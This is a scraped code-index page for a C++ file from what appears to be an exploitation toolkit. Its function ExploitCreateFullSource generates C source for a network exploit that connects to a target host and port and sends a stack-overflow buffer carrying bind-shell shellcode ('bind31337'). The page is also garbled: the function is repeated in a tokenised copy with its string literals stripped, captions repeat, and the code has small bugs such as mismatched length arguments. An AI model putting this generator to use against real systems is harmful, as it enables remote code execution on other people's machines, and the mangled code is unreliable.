library/src/exploitation/BP-LinuxExploitation.cc
// -----------------------------------------------------------
// Buffer operations from C to write exploits
Buffer operations from C to write exploits
Buffer operations from C to write exploits
char * ExploitCreateFullSource(P_EXPLOIT_ANALYSIS_LIST analysis, P_DATA_LIST dataList, char *host, unsigned short port, int proto){
	char * exploitFileContent = (char *) bpmalloc(10000000);
	memset(exploitFileContent, 0x00, 10000000);
	P_EXPLOIT_SET exploitData;
	strcat(exploitFileContent, "#include <stdlib.h>\n");
	strcat(exploitFileContent, "#include <stdio.h>\n");
	strcat(exploitFileContent, "#include <string.h>\n");
	strncat(exploitFileContent, "#include <sys/types.h>\n",  bpstrlen("#include <sys/types.h>\n"));
	strncat(exploitFileContent, "#include <stdio.h>\n",      bpstrlen("#include <stdio.h>\n"));
	strncat(exploitFileContent, "#include <stdio.h>\n",		 bpstrlen("#include <stdio.h>\n"));
	strncat(exploitFileContent, "#include <sys/socket.h>\n", bpstrlen("#include <sys/socket.h>\n"));
	strncat(exploitFileContent, "#include <netinet/tcp.h>\n",bpstrlen("#include <netinet/tcp.h>\n"));
	strncat(exploitFileContent, "#include <netinet/in.h>\n", bpstrlen("#include <netinet/in.h>\n"));
	strncat(exploitFileContent, "#include <arpa/inet.h>\n",  bpstrlen("#include <arpa/inet.h>\n"));
	strncat(exploitFileContent, "#include <netdb.h>\n\n",    bpstrlen("#include <netdb.h>\n\n"));
	strncat(exploitFileContent, "int main(int argc, char **argv){\n\n", bpstrlen("int main(int argc, char **argv){\n\n"));
	strncat(exploitFileContent, "\n\tstruct sockaddr_in addrStruct;", bpstrlen("\n\tstruct sockaddr_in addrStruct;"));
	strncat(exploitFileContent, "\n\tstruct hostent *hostStruct;", bpstrlen("\n\tstruct hostent *hostStruct;"));
	strncat(exploitFileContent, "\n\tint len;", bpstrlen("\n\tint len;"));
	strncat(exploitFileContent, "\n\tint sock;\n\n", bpstrlen("\n\tint sockfd;\n\n"));
	strncat(exploitFileContent, "\t#ifdef _WIN32\n", bpstrlen("\t#ifdef _WIN32\n"));
		strncat(exploitFileContent, "\t\tWSADATA wsa;\n", bpstrlen("\t\tWSADATA wsa;\n"));
		strncat(exploitFileContent, "\t\tWSAStartup(MAKEWORD(2,0), &wsa);\n", bpstrlen("\t\tWSAStartup(MAKEWORD(2,0), &wsa);\n"));
	strncat(exploitFileContent, "\t#endif\n\n", bpstrlen("\t#endif\n\n"));
	strncat(exploitFileContent, "\thostStruct = gethostbyname(\"", bpstrlen("\thostStruct = gethostbyname(\""));
	strcat(exploitFileContent, host);
	strcat(exploitFileContent, "\");\n\t");
	strcat(exploitFileContent, "sock = socket(AF_INET, SOCK_STREAM, 0);\n");
	strcat(exploitFileContent, "\n\n");
	strcat(exploitFileContent, "addrStruct.sin_family = AF_INET;\n");
	strcat(exploitFileContent, "addrStruct.sin_port = htons(");
		sprintf(&exploitFileContent[bpstrlen(exploitFileContent)], "%u", htons(port));
	strcat(exploitFileContent, ");\n\n");
	strcat(exploitFileContent, "addrStruct.sin_addr = *((struct in_addr *)hostStruct->h_addr);\n");
	strcat(exploitFileContent, "memset(&(addrStruct.sin_zero), '\\0', 8);\n\n");
	strcat(exploitFileContent, "connect(sock, (struct sockaddr *)&addrStruct, sizeof(struct sockaddr));\n");
	char * shellcodeBuff;
	printf("\n Analysis: %p", analysis->occuringBuffer);
	size_t sendCount = 0;
	size_t recvCount = 0;
	char nameBuff[1000];
		memset(nameBuff, 0x00, 1000);
	char sendRecvLenVarBuff[1000];
		memset(sendRecvLenVarBuff, 0x00, 1000);
	for(dataList = dataList->first; dataList != NULL; dataList = dataList->next){
		if(dataList->dataType == READ){
			memset(nameBuff, 0x00, 1000);
			sprintf(nameBuff, "\n\nchar recvBuff%i[%i];", recvCount, dataList->dataSize);
				strcat(exploitFileContent, nameBuff);
				memset(nameBuff, 0x00, 1000);
			sprintf(nameBuff, "recvBuff%i", recvCount);
			sprintf(&exploitFileContent[bpstrlen(exploitFileContent)], "\nrecv(sock, %s, %i, 0);\n", nameBuff, dataList->dataSize);
			strcat(exploitFileContent, "\n");
			recvCount++;
		}
		if(dataList->dataType == BINARY){
			memset(nameBuff, 0x00, 1000);
			sprintf(nameBuff, "sendBuff%i", sendCount);
			if(dataList->isExploiting > 0){
				exploitData = DebugCreateLikelyStackExploit(analysis, 'A', (char *) bind31337, 10000);
				shellcodeBuff = GetBufferToStyle(exploitData->buffer, nameBuff, exploitData->size, SC_C_STYLE_UNSIGNED);
				strncat(exploitFileContent, shellcodeBuff, 1000);
				strcat(exploitFileContent, "\n");
				sprintf(&exploitFileContent[bpstrlen(exploitFileContent)], "\nsend(sock, %s, %i, 0);",nameBuff, exploitData->size);
			} else {
			}
			sendCount++;
		}
		memset(nameBuff, 0x00, 1000);
	}
	strcat(exploitFileContent, "\n\n return 0;\n}\n");
	return exploitFileContent;
}
char * ExploitCreateFullSource ( P_EXPLOIT_ANALYSIS_LIST analysis , P_DATA_LIST dataList , char * host , unsigned short port , int proto ) { char * exploitFileContent = ( char * ) bpmalloc ( 10000000 ) ; memset ( exploitFileContent , 0x00 , 10000000 ) ; P_EXPLOIT_SET exploitData ; strcat ( exploitFileContent , " \n " ) ; strcat ( exploitFileContent , " \n " ) ; strcat ( exploitFileContent , " \n " ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n " , bpstrlen ( " \n " ) ) ; strncat ( exploitFileContent , " \n \n " , bpstrlen ( " \n \n " ) ) ; strncat ( exploitFileContent , " \n \n " , bpstrlen ( " \n \n " ) ) ; strncat ( exploitFileContent , " \n \t " , bpstrlen ( " \n \t " ) ) ; strncat ( exploitFileContent , " \n \t " , bpstrlen ( " \n \t " ) ) ; strncat ( exploitFileContent , " \n \t " , bpstrlen ( " \n \t " ) ) ; strncat ( exploitFileContent , " \n \t \n \n " , bpstrlen ( " \n \t \n \n " ) ) ; strncat ( exploitFileContent , " \t \n " , bpstrlen ( " \t \n " ) ) ; strncat ( exploitFileContent , " \t \t \n " , bpstrlen ( " \t \t \n " ) ) ; strncat ( exploitFileContent , " \t \t \n " , bpstrlen ( " \t \t \n " ) ) ; strncat ( exploitFileContent , " \t \n \n " , bpstrlen ( " \t \n \n " ) ) ; strncat ( exploitFileContent , " \t \" " , bpstrlen ( " \t \" " ) ) ; strcat ( exploitFileContent , host ) ; strcat ( exploitFileContent , " \" \n \t " ) ; strcat ( exploitFileContent , " \n " ) ; strcat ( exploitFileContent , " \n \n " ) ; strcat ( exploitFileContent , " \n " ) ; strcat ( exploitFileContent , " " ) ; sprintf ( & exploitFileContent [ bpstrlen ( exploitFileContent ) ] , " " , htons ( port ) ) ; strcat ( exploitFileContent , " \n \n " ) ; strcat ( exploitFileContent , " \n " ) ; strcat ( exploitFileContent , " \\ \n \n " ) ; strcat ( exploitFileContent , " \n " ) ; char * shellcodeBuff ; printf ( " \n " , analysis -> occuringBuffer ) ; size_t sendCount = 0 ; size_t recvCount = 0 ; char nameBuff [ 1000 ] ; memset ( nameBuff , 0x00 , 1000 ) ; char sendRecvLenVarBuff [ 1000 ] ; memset ( sendRecvLenVarBuff , 0x00 , 1000 ) ; for ( dataList = dataList -> first ; dataList != NULL ; dataList = dataList -> next ) { if ( dataList -> dataType == READ ) { memset ( nameBuff , 0x00 , 1000 ) ; sprintf ( nameBuff , " \n \n " , recvCount , dataList -> dataSize ) ; strcat ( exploitFileContent , nameBuff ) ; memset ( nameBuff , 0x00 , 1000 ) ; sprintf ( nameBuff , " " , recvCount ) ; sprintf ( & exploitFileContent [ bpstrlen ( exploitFileContent ) ] , " \n \n " , nameBuff , dataList -> dataSize ) ; strcat ( exploitFileContent , " \n " ) ; recvCount ++ ; } if ( dataList -> dataType == BINARY ) { memset ( nameBuff , 0x00 , 1000 ) ; sprintf ( nameBuff , " " , sendCount ) ; if ( dataList -> isExploiting > 0 ) { exploitData = DebugCreateLikelyStackExploit ( analysis , ' ' , ( char * ) bind31337 , 10000 ) ; shellcodeBuff = GetBufferToStyle ( exploitData -> buffer , nameBuff , exploitData -> size , SC_C_STYLE_UNSIGNED ) ; strncat ( exploitFileContent , shellcodeBuff , 1000 ) ; strcat ( exploitFileContent , " \n " ) ; sprintf ( & exploitFileContent [ bpstrlen ( exploitFileContent ) ] , " \n " , nameBuff , exploitData -> size ) ; } else { } sendCount ++ ; } memset ( nameBuff , 0x00 , 1000 ) ; } strcat ( exploitFileContent , " \n \n \n \n " ) ; return exploitFileContent ; }
Buffer operations from C to write exploits
Buffer operations from C to write exploits
// socket variables // windows socket startup // setup connect parameters // set family // set port // set addr // Fill in read buffer if exists // Fill in binary buffer if exists // embed the send buffer // increment the send count // printf("\n OK WTF: analysis->occuringBuffer: %p, dataList: %p", analysis->occuringBuffer, dataList); // printf("\n%s", exploitFileContent);